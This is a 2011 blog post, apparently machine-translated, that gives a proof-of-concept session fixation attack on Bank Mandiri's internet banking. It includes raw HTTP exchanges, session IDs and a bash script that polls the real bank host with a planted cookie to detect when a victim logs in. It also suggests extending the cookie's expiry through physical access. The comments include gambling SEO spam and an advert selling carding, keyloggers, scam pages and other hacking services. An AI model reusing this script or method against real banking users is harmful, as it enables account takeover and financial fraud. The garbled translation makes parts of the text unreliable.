Hacking Internet Banking Mandiri Session Fixation

Written By Mujianto akhmadi pratama on Friday, February 25, 2011 | Friday, February 25, 2011



In this article I will use tactics to hijack the session fixation Mandiri Internet banking session which is the largest bank in the country. Details about the session fixation attacks can be read in my previous article entitled to know session fixation attacks.

Session ID Bank Mandiri Internet Banking

Independently using Internet banking sessionid stored in the cookie with the name JSESSIONID. Sessionid is very long and random, so it is impossible to use tricks to get sessionid prediction. Example sessionid independent banks are:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Fixate sessionid their own elected to the query string

To ascertain whether independent internet banking can be attacked with the session fixation, I will try to enter the query string contains the string JSESSIONID my own choosing. I tried with a query string JSESSIONID = 01,234,567,890. Here areis the request and response that occurred .



  1. https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890
     
    GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
    Host: ib.bankmandiri.co.id
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: id,en-us;q=0.7,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
     
    HTTP/1.x 200 OK
    Date: Mon, 02 Feb 2009 23:28:58 GMT
    Pragma: no-cache
    Content-Encoding: gzip
    Content-Length: 3822
    Content-Type: text/html
    Expires: -1
    Transfer-Encoding: Chunked
    Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/
    Cache-Control: no-cache
     
     
    
It turned out that my proposal rejected by the server, it is seen from responsenya which gives sessionid in the form of cookies on row 21. rom these responses also can be concluded that the server is independent banks prefer to use cookies so that when a client that gives sessionid in query string, returned by the Set-Cookie header. It's a good sign because the cookies are given to victims will ease my attack.

Fixate sessionid who raised the server with query string

Okay, after failing to propose sessionid carelessly with query string. I'll try again with the server generated sessionid. For it before I have to ask the server to provide sessionid. In this example I will use the sessionid that I have asked before, namely:



JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002
 
Sessionid I will send the request in the form of query string. Previously, the cookies should be removed because cookies have more priority than the query string in terms sessionid. The following request and response that occurred.

    • #!/bin/bash
      while [ true ] ; do
      NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"`
      if [ -z "$NOREK" ]
      then
              echo "Dead"
      else
              echo "Alive, Norek: $NOREK"
      fi
      sleep 10
      done
       
       
    The script requires cookies that are stored in files kue.txt. The file will save a cookie to be sent on every request . These files follow the format of the curl.To make it easier  before I accidentally asked for a cookie with curl into ib.bankmandiri.co.id. kue.txt and keep it on file, then I edit the file by replacing sessionidnya with sessionid that my target.  I enter the same sessionid I have used in previous examples above. 
    JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l! 568 454 685! -1062708981! 7668! 7002 


    Notice in the picture above, my script will loop continues to send requests with a cookie containing the sessionid. When the page "/ retail / Welcome.do? action = result" contains the "Account Number", sessionid means is being used by someone.

    Note also that the server independent banks do not care about the fact that there are two requests from the IP address and user agent are different. The script is run on Linux with a different IP address with a request made from the victim's browser. Because the request is done by curl, then the user agent header was different with the victim's browser. But the server does not care about all the difference, as long as requests are coming to bring a cookie containing the sessionid that is true, then he is entitled to have access.
     
    In the figure also shows that the victim can login or logout many times, but still became victims of the attacker. This occurs because the cookie containing the sessionid still remains on the victim although the victim's browser has been logged. So if there is a login again, then he will also wear the same sessionid.

    Modification of the Local Cookie Expiry Date
      
     
    The downside of a remote attack on the cookie time limit is up to the browser is closed. Once the browser is closed, the cookie is expired will be deleted. If the attacker has physical access, then the result will be more devastating attacks. Attacker will modify the date expired session cookie on the victim's browser. Expirednya date will be converted into year 2099 for example, so the cookie will remain there until 2099. In this way all the people who log in with that browser on that computer will become victims of faraway attacker who always patiently waiting with a script session checkernya.
Prevention Tips

Quite simply a way to prevent it from attackers hit batman trap. Before you login to internet banking pages independently, delete all existing cookies and query strings that contain a sessionid. In this way sessionid sessionid that is used is that given by an unknown attacker's server.

Conclusion

I have shown proof of concept session fixation attacks on internet banking independent. This attack is very dangerous because it can be attacked from a distance and the victim is not only one person, but everyone who logged in the same browser and computer. Unfortunately this attack is not as famous as SQL injection or XSS, but this attack as dangerous so that people are not aware with this threat.

This attack is also the type of attacks that can not be prevented with https because these attacks are in the application layer. So the application logic that must be repaired, not at the level of the https protocol.

3 komentar:

Irene Natasya said...

DAFTAR KONTES SEO 2014

Kontes SEO RGOPOKER --> www.kontes-seo-rgopoker.com / www.kontes-seo-rgopoker.net ( TOTAL HADIAH RP 32.000.000,--) Untuk 50 Pemenang

Kontes SEO BATIKPOKER --> www.kontes-seo-batikpoker.com
(TOTAL HADIAH RP 32.000.000,--) Untuk 50 Pemenang

Kontes SEO AFATOGEL --> www.kontes-seo-afatogel.com
(TOTAL HADIAH RP 25.000.000,--) Untuk 50 Pemenang

Kontes SEO EYANGTOGEL -->www.kontes-seo-eyangtogel.com
(TOTAL HADIAH RP 25.000.000,--) Untuk 50 Pemenang

Semot Ireng said...

klo utk yg mandiri bisnis ada gk..?

smart buzz said...

Hello All
I'm offering following hacking services

..Western union Trf
..wire bank trf
..credit / debit cards
..Perfect Money / Bintcoing adders
..email hacking /tracing
..Mobile hacking / mobile spam

..hacking Tools
..Spamming Tools
..Scam pages
..spam tools scanners make your own tools
..Keyloggers+fud+xploits


Fake peoples have just words to scam peoples
they just cover their self that they are hacker
but when you ask them a questions they don't have answer
they don't have even knowledge what is hacking
am dealing with real peoples who interested and honest
also teaching hacking subjects in reasonable price
with private tools and proof.

Availability 24/7 contact only given below addresses
salvrosti@gmail.com
Icq: 718684828
Skype: live:Salvrosti

Post a Comment

Popular Posts Today